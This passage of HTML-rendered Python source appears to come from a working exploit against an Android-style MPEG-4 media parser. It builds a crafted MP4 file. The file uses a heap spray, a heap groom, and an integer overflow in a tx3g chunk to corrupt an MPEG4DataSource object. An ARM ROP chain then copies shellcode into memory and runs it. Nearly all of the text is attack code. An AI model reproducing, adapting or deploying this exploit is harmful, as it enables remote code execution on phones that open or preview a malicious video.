spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(pop_r0_r1_r2_r3_pc)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># pc<\/code><\/div>\n<div class=\"line number264 index263 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number265 index264 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># memcpy(shellcode_address, <\/code><\/div>\n<div class=\"line number266 index265 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 spray_address + len(rop_stack),<\/code><\/div>\n<div class=\"line number267 index266 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\">#\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 len(shellcode));<\/code><\/div>\n<div class=\"line number268 index267 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number269 index268 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(mmap_address)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r0 = dst<\/code><\/div>\n<div class=\"line number270 index269 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(spray_address <\/code><code class=\"python keyword\">+<\/code> <code class=\"python value\">0x12c<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r1 = src<\/code><\/div>\n<div class=\"line number271 index270 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x110<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number272 index271 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x33333333<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r3<\/code><\/div>\n<div class=\"line number273 index272 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(ldr_lr_bx_lr)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># pc<\/code><\/div>\n<div class=\"line number274 index273 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number275 index274 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">pad(ldr_lr_bx_lr_stack_pad)<\/code><\/div>\n<div class=\"line number276 index275 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(pop_r4_r5_r6_r7_pc)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># lr<\/code><\/div>\n<div class=\"line number277 index276 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">pad(<\/code><code class=\"python value\">4<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number278 index277 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number279 index278 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x44444444<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r4<\/code><\/div>\n<div class=\"line number280 index279 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x55555555<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r5<\/code><\/div>\n<div class=\"line number281 index280 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x66666666<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r6<\/code><\/div>\n<div class=\"line number282 index281 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x77777777<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r7<\/code><\/div>\n<div class=\"line number283 index282 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(memcpy)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># pc<\/code><\/div>\n<div class=\"line number284 index283 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number285 index284 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x44444444<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r4<\/code><\/div>\n<div class=\"line number286 index285 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x55555555<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r5<\/code><\/div>\n<div class=\"line number287 index286 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x66666666<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r6<\/code><\/div>\n<div class=\"line number288 index287 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(<\/code><code class=\"python value\">0x77777777<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># r7<\/code><\/div>\n<div class=\"line number289 index288 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(mmap_address <\/code><code class=\"python keyword\">+<\/code> <code class=\"python value\">80<\/code><code class=\"python plain\">)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># pc<\/code><\/div>\n<div class=\"line number290 index289 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number291 index290 alt2\"><\/div>\n<div class=\"line number292 index291 alt1\"><\/div>\n<div class=\"line number293 index292 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">while<\/code> <code class=\"python functions\">len<\/code><code class=\"python plain\">(page) &lt; <\/code><code class=\"python value\">0x1000<\/code><code class=\"python plain\">:<\/code><\/div>\n<div class=\"line number294 index293 alt1\"><code class=\"python spaces\">\u00a0\u00a0\u00a0\u00a0<\/code><code class=\"python plain\">page <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">shellcode<\/code><\/div>\n<div class=\"line number295 index294 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number296 index295 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">pssh <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">page <\/code><code class=\"python keyword\">*<\/code> <code class=\"python plain\">(size <\/code><code class=\"python keyword\">\/<\/code><code class=\"python keyword\">\/<\/code> <code class=\"python value\">0x1000<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number297 index296 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number298 index297 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python keyword\">return<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">'pssh'<\/code><code class=\"python plain\">, pssh)<\/code><\/div>\n<div class=\"line number299 index298 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number300 index299 alt1\"><code class=\"python keyword\">def<\/code> <code class=\"python plain\">exploit_mp4():<\/code><\/div>\n<div class=\"line number301 index300 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">ftyp <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">\"ftyp\"<\/code><code class=\"python plain\">,<\/code><code class=\"python string\">\"69736f6d0000000169736f6d\"<\/code><code class=\"python plain\">.decode(<\/code><code class=\"python string\">\"hex\"<\/code><code class=\"python plain\">))<\/code><\/div>\n<div class=\"line number302 index301 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number303 index302 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">''<\/code><\/div>\n<div class=\"line number304 index303 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number305 index304 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># heap spray so we have somewhere to land our corrupted vtable <\/code><\/div>\n<div class=\"line number306 index305 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># pointer<\/code><\/div>\n<div class=\"line number307 index306 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number308 index307 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># yes, we wrap this in a sample_table for a reason; the <\/code><\/div>\n<div class=\"line number309 index308 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># NuCachedSource we will be using otherwise triggers calls to mmap,<\/code><\/div>\n<div class=\"line number310 index309 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># leaving our large allocations non-contiguous and making our chance<\/code><\/div>\n<div class=\"line number311 index310 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># of failure pretty high. wrapping in a sample_table means that we<\/code><\/div>\n<div class=\"line number312 index311 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># wrap the NuCachedSource with an MPEG4Source, making a single <\/code><\/div>\n<div class=\"line number313 index312 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># allocation that caches all the data, doubling our heap spray <\/code><\/div>\n<div class=\"line number314 index313 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># effectiveness :-)<\/code><\/div>\n<div class=\"line number315 index314 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">sample_table(heap_spray(spray_size) <\/code><code class=\"python keyword\">*<\/code> <code class=\"python plain\">spray_count)<\/code><\/div>\n<div class=\"line number316 index315 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number317 index316 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># heap groom for our MPEG4DataSource corruption<\/code><\/div>\n<div class=\"line number318 index317 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number319 index318 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># get the default size allocations for our MetaData::typed_data <\/code><\/div>\n<div class=\"line number320 index319 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># groom allocations out of the way first, by allocating small blocks<\/code><\/div>\n<div class=\"line number321 index320 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># instead.<\/code><\/div>\n<div class=\"line number322 index321 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">alloc_avcc(<\/code><code class=\"python value\">8<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number323 index322 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">alloc_hvcc(<\/code><code class=\"python value\">8<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number324 index323 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number325 index324 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># we allocate the initial tx3g chunk here; we'll use the integer <\/code><\/div>\n<div class=\"line number326 index325 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># overflow so that the allocated buffer later is smaller than the <\/code><\/div>\n<div class=\"line number327 index326 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># original size of this chunk, then overflow all of the following <\/code><\/div>\n<div class=\"line number328 index327 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># MPEG4DataSource object and the following pssh allocation; hence why<\/code><\/div>\n<div class=\"line number329 index328 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># we will need the extra groom allocation (so we don't overwrite <\/code><\/div>\n<div class=\"line number330 index329 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># anything sensitive...)<\/code><\/div>\n<div class=\"line number331 index330 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number332 index331 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | tx3g | MPEG4DataSource | pssh |<\/code><\/div>\n<div class=\"line number333 index332 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'A'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">32<\/code><\/div>\n<div class=\"line number334 index333 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number335 index334 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | tx3g ----------------&gt; | pssh |<\/code><\/div>\n<div class=\"line number336 index335 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(spray_address)<\/code><\/div>\n<div class=\"line number337 index336 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0'<\/code> <code class=\"python keyword\">*<\/code> <code class=\"python value\">0x48<\/code><\/div>\n<div class=\"line number338 index337 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r4<\/code><\/div>\n<div class=\"line number339 index338 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r5<\/code><\/div>\n<div class=\"line number340 index339 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r6<\/code><\/div>\n<div class=\"line number341 index340 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r7<\/code><\/div>\n<div class=\"line number342 index341 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r8<\/code><\/div>\n<div class=\"line number343 index342 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r9<\/code><\/div>\n<div class=\"line number344 index343 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r10<\/code><\/div>\n<div class=\"line number345 index344 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r11<\/code><\/div>\n<div class=\"line number346 index345 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python string\">'0000'<\/code>\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <code class=\"python comments\"># r12<\/code><\/div>\n<div class=\"line number347 index346 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(spray_address <\/code><code class=\"python keyword\">+<\/code> <code class=\"python value\">0x20<\/code><code class=\"python plain\">) <\/code><code class=\"python comments\"># sp<\/code><\/div>\n<div class=\"line number348 index347 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">p32(pop_pc)\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 <\/code><code class=\"python comments\"># lr<\/code><\/div>\n<div class=\"line number349 index348 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number350 index349 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">\"tx3g\"<\/code><code class=\"python plain\">, overflow)<\/code><\/div>\n<div class=\"line number351 index350 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number352 index351 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># defragment the for alloc_size blocks, then make our two<\/code><\/div>\n<div class=\"line number353 index352 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># allocations. we end up with a spurious block in the middle, from<\/code><\/div>\n<div class=\"line number354 index353 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># the temporary ABuffer deallocation.<\/code><\/div>\n<div class=\"line number355 index354 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number356 index355 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh |<\/code><\/div>\n<div class=\"line number357 index356 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">memory_leak(alloc_size) <\/code><code class=\"python keyword\">*<\/code> <code class=\"python plain\">groom_count<\/code><\/div>\n<div class=\"line number358 index357 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number359 index358 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | .... | avcC |<\/code><\/div>\n<div class=\"line number360 index359 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">alloc_avcc(alloc_size)<\/code><\/div>\n<div class=\"line number361 index360 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number362 index361 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | .... | avcC | hvcC |<\/code><\/div>\n<div class=\"line number363 index362 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">alloc_hvcc(alloc_size)<\/code><\/div>\n<div class=\"line number364 index363 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number365 index364 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | pssh | avcC | hvcC | pssh |<\/code><\/div>\n<div class=\"line number366 index365 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">memory_leak(alloc_size) <\/code><code class=\"python keyword\">*<\/code> <code class=\"python value\">8<\/code><\/div>\n<div class=\"line number367 index366 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number368 index367 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | pssh | avcC | .... |<\/code><\/div>\n<div class=\"line number369 index368 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">trak <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">alloc_hvcc(alloc_size <\/code><code class=\"python keyword\">*<\/code> <code class=\"python value\">2<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number370 index369 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number371 index370 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># entering the stbl chunk triggers allocation of an MPEG4DataSource<\/code><\/div>\n<div class=\"line number372 index371 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># object<\/code><\/div>\n<div class=\"line number373 index372 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number374 index373 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | pssh | avcC | MPEG4DataSource | pssh |<\/code><\/div>\n<div class=\"line number375 index374 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">''<\/code><\/div>\n<div class=\"line number376 index375 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number377 index376 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | pssh | .... | MPEG4DataSource | pssh |<\/code><\/div>\n<div class=\"line number378 index377 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">alloc_avcc(alloc_size <\/code><code class=\"python keyword\">*<\/code> <code class=\"python value\">2<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number379 index378 alt2\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number380 index379 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | pssh | tx3g | MPEG4DataSource | pssh |<\/code><\/div>\n<div class=\"line number381 index380 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python comments\"># | pssh | - | pssh | pssh | tx3g ----------------&gt; |<\/code><\/div>\n<div class=\"line number382 index381 alt1\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">overflow_length <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">(<\/code><code class=\"python keyword\">-<\/code><code class=\"python plain\">(<\/code><code class=\"python functions\">len<\/code><code class=\"python plain\">(overflow) <\/code><code class=\"python keyword\">-<\/code> <code class=\"python value\">28<\/code><code class=\"python plain\">) &amp; <\/code><code class=\"python value\">0xffffffffffffffff<\/code><code class=\"python plain\">)<\/code><\/div>\n<div class=\"line number383 index382 alt2\"><code class=\"python spaces\">\u00a0\u00a0<\/code><code class=\"python plain\">stbl <\/code><code class=\"python keyword\">+<\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">chunk(<\/code><code class=\"python string\">\"tx3g\"<\/code><code class=\"python plain\">, '', length <\/code><code class=\"python keyword\">=<\/code> <code class=\"python plain\">overflow_length)<\/code><\/div>\n<div class=\"line number384 index383 alt1\"><code class=\"python spaces\">\u00a0<\/code><\/div>\n<div class=\"line number385 index384 alt2\"><code class=\"python 